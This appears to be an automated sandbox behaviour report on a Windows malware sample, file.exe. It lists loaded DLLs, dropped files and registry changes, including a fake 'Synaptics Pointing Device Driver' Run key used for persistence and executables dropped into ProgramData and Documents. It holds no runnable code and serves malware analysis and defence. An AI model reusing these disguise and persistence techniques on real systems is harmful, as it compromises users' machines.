Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: spinf.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: drvstore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: spfileq.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: inseng.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ieadvpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\WNaEF7n.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: file.exe

Static file information: File size 1059840 > 1048576

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: wextract.pdb source: file.exe, ._cache_file.exe.0.dr
Source:	Binary string: dsetup32.pdb source: SET8EBB.tmp.6.dr
Source:	Binary string: dxwsetup.pdb source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278152234.00000000002C1000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: wextract.pdbU source: file.exe, ._cache_file.exe.0.dr

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_0100198B LocalFree,RegCreateKeyExA,wsprintfA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,lstrlenA,lstrlenA,lstrlenA,LocalAlloc,GetModuleFileNameA,RegCloseKey,wsprintfA,lstrlenA,RegSetValueExA,RegCloseKey,LocalFree,

2_2_0100198B

Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_040BC98E push eax; iretd	4_2_040BC9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_06A4CF20 pushad ; iretd	4_2_06A4CF21
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_06A4C184 push eax; iretd	4_2_06A4C98D
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_06A4C184 push esp; iretd	4_2_06A4C999
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_06A4C98F push eax; iretd	4_2_06A4C9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_073CCF20 pushad ; iretd	4_2_073CCF21
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_073CC98E push eax; iretd	4_2_073CC9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_073CC184 push eax; iretd	4_2_073CC98D
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_073CC184 push esp; iretd	4_2_073CC999
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_07CA1563 push ss; retf 0007h	4_2_07CA156A
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_07CA5F75 push eax; retf 0007h	4_2_07CA5F76
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_07C8C184 push esp; iretd	4_2_07C8C999
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_07C8C99A push eax; iretd	4_2_07C8C9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 4_2_07CA719D pushad ; retf 0007h	4_2_07CA719E

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\dsetup32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\dsetup.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCX8506.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Desktop\._cache_file.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCX8506.tmp			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\dsetup32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\dsetup.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_010022FF LocalFree,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcmpiA,lstrcmpiA,lstrlenA,lstrlenA,lstrlenA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,lstrcpyA,lstrcpyA,GetShortPathNameA,wsprintfA,lstrcmpiA,lstrlenA,lstrlenA,lstrlenA,LocalAlloc,wsprintfA,LocalAlloc,GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,

2_2_010022FF

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
